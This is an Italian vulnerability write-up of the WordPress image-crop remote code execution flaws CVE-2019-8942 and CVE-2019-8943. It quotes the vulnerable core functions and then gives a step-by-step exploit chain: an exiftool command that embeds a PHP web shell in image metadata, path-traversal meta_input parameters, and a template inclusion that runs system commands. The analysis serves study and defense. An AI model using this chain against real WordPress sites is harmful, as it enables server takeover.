
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
Questo documento affronta le vulnerabilità CVE-2019-8942 e CVE-2019-8943, note come WordPress Image CROP RCE, riscontrate nelle versioni di WordPress precedenti alla 4.9.9 e alla 5.0.1.
| Numero CVE | Data di pubblicazione | Descrizione |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | Vulnerabilità che, tramite i valori della tabella wp_postmeta, consente di eseguire PHP contenente codice malevolo e ottenere l'esecuzione remota di codice |
| CVE-2019-8943 | 2019-2-19 | Vulnerabilità che, quando si verifica un'operazione che modifica le informazioni sulle dimensioni di un'immagine caricata, consente di salvare file in un percorso arbitrario tramite il parametro meta_input |
CVE-2019-8942 consente di caricare un'immagine con codice PHP inserito nei metadati EXIF, modificare il valore di wp_attached_file nella tabella wp_post_meta del post e includere il file immagine per eseguire codice arbitrario.
CVE-2019-8943 consente di modificare il valore di wp_attached_file nella tabella wp_postmeta con una stringa arbitraria nella funzione wp_crop_image(), che aggiorna le informazioni sulle dimensioni dell'immagine quando si utilizza lo strumento di modifica delle immagini, e di scrivere file in una directory arbitraria.
Combinando queste due vulnerabilità, è possibile caricare un'immagine con codice PHP in un percorso arbitrario e quindi eseguire codice in remoto.
Quando si carica un'immagine in WordPress, questa viene inizialmente spostata nella directory wp-content/uploads; le informazioni di riferimento interne (metadati come proprietario dell'immagine, ora di caricamento, ecc.) vengono salvate nel database come coppie meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
I metadati dell'immagine vengono salvati nel database come mostrato sopra; quando si recupera l'immagine, il nome del file viene cercato nella directory wp-content/uploads utilizzando il metadato _wp_attached_file.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
La funzione eidt_post() salva i dati POST nella variabile $post_data senza alcun filtraggio; i valori POST, passando attraverso wp_update_post() → wp_insrt_post(), aggiornano i metadati salvati nel DB tramite la funzione update_post_meta. A questo punto, aggiornando il valore _wp_attached_file, è possibile alterare il percorso nei metadati da cui viene recuperata l'immagine.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
La funzione wp_crop_image(), chiamata durante il ridimensionamento del file, ottiene il percorso in cui verrà salvato il file tramite la funzione get_attached_file(). La funzione get_attached_file() recupera il percorso del file da _wp_attached_file salvato nel DB tramite la funzione get_post_meta() e salva l'immagine modificata.
A causa di questi due problemi, di fatto il sistema recupera il percorso del file manipolato tramite POST e salva l'immagine modificata in quella posizione.
I temi delle pagine WordPress sono salvati nella directory wp-content/themes. Impostando il metadato del post _wp_page_template per ogni articolo, è possibile includere, tramite la funzione include(), un file presente in quella directory del tema come template.
Poiché il file viene incluso nel post come quando si usa la funzione include() in PHP, se un'immagine contenente codice PHP viene inclusa, si comporta come una pagina PHP consentendo l'esecuzione di codice PHP.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
Inserimento di una shell PHP nella sezione CopyrightNotice dei metadati dell'immagine.



Cliccando sull'immagine caricata - Modifica dettagliata - facendo clic su Aggiorna, alla richiesta inviata a post.php viene aggiunto il parametro &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell.
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
Si conferma che _wp_attached_file è stato alterato nel DB.


Cliccando sull'immagine caricata - Modifica immagine - dopo aver modificato le dimensioni, facendo clic sul pulsante "Dimensioni", la richiesta inviata a admin-ajax.php viene alterata nei parametri.

action=crop-image&_ajax_nonce=<nonce>&id=<이미지ID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
Si conferma che il file cropped-shell.jpg è stato creato nella directory del tema.

Durante la creazione del post, aggiungendo il parametro &meta_input[_wp_page_template]=cropped-shell.jpg alla richiesta inviata a post.php, il file viene incluso nel post.

Si conferma che il codice PHP del file immagine incluso viene eseguito e che il valore passato al post come parametro POST viene eseguito come comando di sistema.
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - codice POC Python
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - Report di analisi della vulnerabilità WP-CROP-RCE
https://blog.naver.com/skinfosec2000/221517528775 - Report di analisi della vulnerabilità WP-CROP-RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - Pagina ufficiale CVE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - Pagina ufficiale CVE